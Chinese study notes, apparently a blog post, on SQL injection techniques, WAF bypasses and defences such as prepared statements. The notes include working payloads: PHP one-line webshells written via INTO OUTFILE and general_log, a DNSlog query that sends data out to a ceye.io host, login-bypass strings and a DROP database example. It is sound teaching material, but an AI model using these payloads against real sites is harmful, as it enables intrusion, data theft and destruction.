一、sql注入基本知识

1.1什么是sql注入

针对程序员编写时疏忽,通过sql语句实现查询数据,传入webshell等。

1.2sql的原理:

通过构建特殊的输入语句作为参数传入web应用程序,指的是服务器对用户输入过滤不严,导致服务器sql语句被恶意篡改并成功执行例如增删改查等操作,还可以对操作系统执行操作。

SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击。

1.3注释符

# 单行注释 注意与 url 中的#区分,常编码为%23

--空格  单行注释 注意为短线短线空格

/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格

1.4注入条件

有参数传递,带入数据库查询并执行sql语句(可以通过页面发生变化判断,即有回显,若页面不发生变化,可能无漏洞,也可以无回显)

1.5攻击思路

找注入点,判断服务器、数据库类型,判断waf,结合waf情况与不同数据库、服务器的特点进行sql注入攻击

1.6注入流程

是否存在注入并且判断注入类型

判断字段数 order by

确定回显点 union select 1,2

查询数据库信息 @@version @@datadir

查询用户名,数据库名 user() database()

文件读取 union select 1,load_file('C:\\wondows\\win.ini')#

写入 webshell select..into outfile...

补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编 码绕过

1.7注入分类

SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)堆叠查询

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

1.8接受请求类型区分

GET 注入

GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制,中文需要 URL编码

POST 注入 POST 请求参数是放在请求 body 里的,长度没有限制 COOKIE 注入 cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

1.9注入数据类型的区分

int 整型 select * from users where id=1

sting 字符型 select * from users where username='admin'

like 搜索型 select * from news where title like '%标题%

1.10 数据库类型的区分

MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

//判断是否是 Mysql数据库

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #

//判断是否是 access数据库

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #

//判断是否是 Sqlserver数据库

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #

//判断是否是Oracle数据库

http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #

MySQL有关的知识。

·  5.0以下是多用户单操作

·  5.0以上是多用户多操做

MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

·  table_schema: 记录数据库名

·  table_name: 记录数据表名

·  table_rows: 关于表的粗略行估计;

·  data_length : 记录表的大小(单位字节);

二、基础注入

1.boolean盲注(大于小于等于,二分法)

判断数据库长度,使用length

判断数据库第一个字符,使用ascii(字母),substr

判断数据库中表的个数,使用count

判断表名的长度,使用length

判断表名,使用ascii,substr

判断表中字段个数,使用count

判断表中的第n个字段的长度,使用length

判断数据库中每个表的每个字段的ascii值

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据

判断数据的长度,判断数据的ascii值

2.union联合注入

使用order by判断表的列数

·  version() :数据库的版本

·  database() :当前所在的数据库

·  @@basedir : 数据库的安装目录

·  @@datadir : 数据库文件的存放目录

·  user() : 数据库的用户

·  current_user() : 当前用户名

·  system_user() : 系统用户名

·  session_user() :连接到数据库的用户名

获得数据库,所有的表,所有的列,获得指定表的指定字段的值

使用group_concat将数据联合起来查

3.文件读写

·  当有显示列的时候,文件读可以利用 union 注入。

·  当没有显示列的时候,只能利用盲注进行数据读取。

示例:读取e盘下3.txt文件

union注入读取文件(load_file)

//union注入读取 e:/3.txt 文件

http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file("e:/3.txt")#

//也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874

http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file(0x653a2f332e747874)#

盲注读取文件

//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成

http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1

我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马

union写入文件(into outfile)

//利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'e:/4.php' #

// 可以将一句话木马转换成16进制的形式

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  into outfile  'e:/4.php' #

一个MySQL注入点写入Webshell,需要满足哪些条件呢?简单来说,需要了解secure_file_priv是否支持数据导出、当前数据库用户权限、获取web目录的物理路径。

A、MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,MySQL服务会禁止导入和导出操作。通过命令查看secure-file-priv`的当前值,确认是否允许导入导出以及到处文件路径。

show variables like ‘%secure_file_priv%’;

B、MySQL中root 用户拥有所有权限,但写入Webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行 select into outfile操作。

C、当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。

0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

create user 'test'@'localhost' identified by '123456';

grant file on *.* to 'test'@'localhost';

2、使用test用户连接

<?php

$con = mysql_connect("localhost","test","123456");

mysql_select_db("test", $con);

$id = $_REQUEST[ 'id' ];

$query  = "SELECT * FROM test.admin WHERE id = $id ";

$result = mysql_query($query);

......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

show variables like '%general%';                        #查看配置

set global general_log = on;                            #开启general log模式

set global general_log_file = 'E:/study/WWW/evil.php';    #设置日志目录为shell地址

select '<?php eval($_GET[g]);?>'                     #写入shell

set global general_log=off;                             #关闭general log模式

使用sqlmap—os-shell写入

必要条件:

  • 拥有网站的写入权限
  • Secure_file_priv参数为空或者为指定路径。

普通注入--os-shell主要是通过上传一个sqlmap的马,然后通过马来进行命令执行。

1sqlmap上传一个上传功能的马。2、通过上传的马进行shell的上传。

3shell传参进行命令执行。4、删除shell

4.时间盲注

Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

MySQL

benchmark(100000000,md5(1))sleep(3)

PostgreSQL

PG_sleep(5)Generate_series(1,1000000)

SQLServer

waitfor delay ‘0:0:5’

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。

优点:不需要显示位,不需要出错信息。

缺点:速度慢,耗费大量时间

sleep 函数判断页面响应时间 if(判断条件,为true时执行,为false时执行)

5.报错注入

利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()

优点: 不需要显示位

缺点: 需要输出 mysql_error( )的报错信息

floor报错注入

floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可

floor报错注入参考:floor()报错注入_A1ienX的博客-CSDN博客_floor报错注入

ExtractValue报错注入

EXTRACTVALUE (XML_document, XPath_string)

·  第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称

·  第二个参数:XPath_string (Xpath 格式的字符串).

作用:从目标 XML 中返回包含所查询值的字符串

ps: 返回结果 限制在32位字符

UpdateXml报错注入

UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

UPDATEXML (XML_document, XPath_string, new_value)

·  第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1

·  第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。

·  第三个参数:new_value,String 格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

几个报错注入的函数:

1.floor()

2.extractvalue()

3.updatexml()

4.geometrycollection()

5.multipoint()

6.polygon()

7.multipolygon()

8.linestring()

9.multilinestring()

10.exp()

6.regexp正则匹配

正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本

查找name字段中含有a或者b的所有数据: select name from admin where name regexp ‘ a|b ‘; 查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符): select name from admin where name regexp ‘ .ab ‘; 查找name字段中含有at或bt或ct的所有数据: select name from admin where name regexp ‘ [abc]t ‘; 查找name字段中以a-z开头的所有数据: select name from admin where name regexp ‘ ^[a-z] ‘;

已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z] –> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] –> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表

7.宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen(“中”) 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

在说之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。

addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ‘ 、双引号 ” 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。

mysql_real_escape_string() :这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、‘ 、“ 、x1a。

魔术引号:当打开时,所有的单引号’ 、双引号” 、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。

·  magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。

·  magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。

·  magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义。

可以在 php.ini 中看这几个参数是否开启

addslashes函数把我们的 ’ 进行了转义,转义成了 ‘。所以,我们要想绕过这个转义,就得把 ‘ 的 \ 给去掉。那么怎么去掉呢。

1. 在转义之后,想办法让\前面再加一个\,或者偶数个\即可,这样就变成了\’ ,\ 被转义了,而 ‘ 逃出了限制。

2.在转义之后,想办法把 \ 弄没有,只留下一个 ‘ 。

我们这里利用第2中方法,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。

我们只输入了 1%df ‘ ,最后变成了 1運 ‘ 。所以是mysql把我们输入的%df和反斜杠\ 合成了一起,当成了 運 来处理。而我们输入的单引号’ 逃了出来,所以发生了报错。我们现在来仔细梳理一下思路。 我们输入了 1%df ’ ,而因为使用了addslashes()函数处理 ‘,所以最后变成了 1%df’ , 又因为会进行URL编码,所以最后变成了 1%df%5c%27 。而MySQL正是把%df%5c当成了汉字 運 来处理,所以最后 %27 也就是单引号逃脱了出来,这样就发生了报错。而这里我们不仅只是能输入%df ,我们只要输入的数据的ASCII码大于128就可以。因为在MySQL中只有当前一个字符的ASCII大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ‘ 逃脱出来了。

既然GBK编码可以,那么GB2312可不可以呢?怀着这样的好奇,我们把数据库编码改成了GB2312,再次进行了测试。我们发现,当我们再次利用输入 1%df’ 的时候,页面竟然不报错,那么这是为什么呢?

这要归结于GB2312编码的取值范围。它编码的取值范围高位是0XA1~0XF7,低位是0XA1~0xFE,而 \ 是0x5C ,不在低位范围中。所以0x5c根本不是GB2312中的编码。所以,%5c 自然不会被当成中文的一部分给吃掉了。

所以,通过这个我们可以得到结论,在所有的编码当中,只要低位范围中含有 0x5C的编码,就可以进行宽字符注入。

发现了这个宽字符注入,于是很多程序猿把 addslashes() 函数换成了 mysql_real_escape_string() 函数,想用此来抵御宽字节的注入。因为php官方文档说了这个函数会考虑到连接的当前字符集。

而使用mysql_query(),也不一定能够低于宽字符注入(假如你没有指定php连接mysql的字符集)

我们需要在执行SQL语句之前调用 mysql_set_charset 函数,并且设置当前连接的字符集为gbk。这样当我们再次输入的时候,就不能进行宽字节注入了!

宽字节注入的修复

在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=(‘gbk’,$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()。

所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:

当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。

8.堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root’;DROP database user;服务器端生成的sql语句为:Select * from user where name=’root’;DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。

9.二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

1.黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

2.服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

3.黑客向服务端发送第二个与第一次不相同的请求数据信息。

4.服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

5.服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

10.User-Agent注入

当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent

抓包,修改其User-Agent为

'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  #我们可以将 database()修改为任何的函数

可以看到,页面将当前的数据库显示出来了

11.Cookie注入

如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request(“xxx”),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

get 在 url 拦 即使 提交的方法是 post 只要在 url 拦上都可以传递 get ,post 在正文里 提交的方法必须存在 post ,cookie 有没有 post 都可以

12.DnsLog盲注

1.DNS

DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。

2.Dnslog

Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test、t00ls.等的访问信息。

Dnslog盲注

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。

攻击者首先提交注入语句select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))

在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析

此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在CEYE - Monitor service for security testing上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过CEYE - Monitor service for security testing我们就可以查询到这条DNS解析记录。

构造语法

构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据

SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))

通过SQL语句查询内容,作为请求的一部分发送至Dnslog

只要对这一部分语句进行构造,就能实现有回显的SQL注入

13.约束攻击

假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。

则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。

防御:

  • 给username字段添加unique属性。
  • 使用id字段作为判断用户的凭证。
  • 插入数据前判断数据长度。

14.Http分割注入

如果存在一个登录场景,参数为username&password

查询语句为select xxx from xxx where username=’xxx’ and password=’xxx’

但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句.

15.传说中的万能密码

sql=”select*from test where username=’ XX ‘ and password=’ XX ‘ “;

·  admin’ or ‘1’=’1 XX //万能密码(已知用户名)

·  XX ‘or’1’=’1 //万能密码(不需要知道用户名)

·  ‘or ‘1’=’1’# XX //万能密码(不知道用户名)

三、绕过

1.注释符/**/绕过

如果只过滤了空格,没有过滤 /*  ,那么我们可以利用 /**/ 来绕过空格过滤

2.等函数替换

当常用函数被waf拦截时,可以使用偏僻函数或者功能相同的其他函数,比如substr()函数被拦截,就可以使用mid函数;报错注入的updatexml()用polygon()函数替换。

3.浮点数绕过

通过浮点数的形式从而绕过。id=1 union select —> id=1.0union select —> id=1E0union select

4.ascii编码绕过

waf有的时候会对截取的字符拦截,可以使用ascii编码对比进行绕过。

5.空格字符绕过

空格字符可以混淆WAF的检测机制。%20=%a0=%09=%0a=0b=%0c=%0d=+

6.引号字符绕过

若单引号被拦截,则使用双引号,若都被拦截,就尝试使用hex六进制编码,也可以考虑宽字节注入绕过

7.参数污染

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。以下是其他污染特性

8.注释绕过

内联注释:是Mysql为了保持与其他数据的兼容,将Mysql中特有的语句放在/!/中这些语句在不兼容的数据库中不执行,而在Mysql自身却能识别执行。例如:/!50001/表示数据库版本>=5.00.01时,/!50001 中间的语句才能被执行 /

9.脏数据溢出绕过

数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参)

10.pipline绕过

http协议是由tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接tcp连接,然后发http 数据包,其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或断开。

当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

用burpsuite抓包提交复制整个包信息放在第一个包最后,有些waf会匹配第二个包的正属于正常参,不会对第一个包的参数进行检测,这样就可以绕过一些waf拦截。

11.参数拆分绕过

配合多个参数的传参,将注入的内容拼接到同一条 SQL 语句中,可以将注入语句分割插入绕过waf拦截。

12.白名单绕过

有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,比如白名单目录,白名单文件等等,所以可以利用这个特点,可以进行突破。

13.分块传输绕过(现在已经不行了)

分块传输编码是只在HTTP协议1.1版本中提供的一种数据传送机制。

以往HTTP的应答中数据是整个一起发送的,并在应答头里Content-Length字段标识了数据的长度,以便客户端知道应答消息的结束。分块传输编码允许服务器在最后发送消息头字段。

例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输,将本该一次性传输的完整数据分块传输,从而绕过waf的检测。

空格字符绕过

两个空格代替一个空格,用 Tab 代替空格,%a0=空格

 %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

select * from users where id=1 /*!union*//*!select*/1,2,3,4;

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容 不注释*/

14.脚本语言特性绕过(内容很多,不一一说)

15.二次编码绕过

四、防护

(1)预编译(PreparedStatement)(JSP)

可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

 String sql = "select id, no from user where id=?";
 PreparedStatement ps = conn.prepareStatement(sql);
 ps.setInt(1, id);
 ps.executeQuery();

如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?

其原因就是:采用了PreparedStatement预编译,就会将SQL语句:”select id, no from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。

(2)PDO(PHP)

首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。

PDO对于解决SQL注入的原理也是基于预编译。

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
$data->bindParam( ':id', $id, PDO::PARAM_INT ); 
$data->execute();

实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行,

(3)使用正则表达式过滤

虽然预编译可以有效预防SQL注,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。

对用户输入的特殊字符进行严格过滤,如 ’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union

(4) 其他

·  Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库

·  设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。

·  严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查

·  使用 Web 应用防火墙

SQL注入基础整理及Tricks总结 - 安全客,安全资讯平台https://www.anquanke/post/id/205376#h3-23SQL注入漏洞详解 - 安全客,安全资讯平台https://www.anquanke/post/id/235970#h3-17sql注入绕WAF的N种姿势 - 安全客,安全资讯平台https://www.anquanke/post/id/268428#h3-24

 SQLServer数据库注入详解 - 安全客,安全资讯平台https://www.anquanke/post/id/200154sql注入绕WAF的N种姿势 - 安全客,安全资讯平台https://www.anquanke/post/id/268428#h3-24

sqlmap深入分析-优质文章整理篇(sqlmap 源码分析、os-shell 原理、攻防角度使用sqlmap)_OceanSec的博客-CSDN博客_sqlmap源码分析https://oceansec.blog.csdn/article/details/122243790?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-2.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-2.pc_relevant_default&utm_relevant_index=5

对MYSQL注入相关内容及部分Trick的归类小结 - 先知社区 (aliyun)https://xz.aliyun/t/7169 mysql注入拿shell的内置函数_sql注入拿shell条件与方法(统计)_weixin_39884078的博客-CSDN博客https://blog.csdn/weixin_39884078/article/details/113954039【网络安全】SQL注入bypass最新版安全狗_IT老涵的博客-CSDN博客_网络安全bypasshttps://blog.csdn/HBohan/article/details/121266545Python攻防——Fuzz绕过安全狗进行SQL注入 (qq)https://mp.weixin.qq/s/kpSMDm4qrV6ZvdJ1k_0q0A

sql注入绕过安全狗4.0_活着Viva的博客-CSDN博客_sql注入绕过安全狗https://blog.csdn/weixin_43623271/article/details/122814962?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-8.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-8.pc_relevant_antiscanv2&utm_relevant_index=13自动化绕WAF的实用渗透工具 (qq)https://mp.weixin.qq/s/bHvNtwEyywt7RyUIvqaRJg

更多推荐

sql注入知识点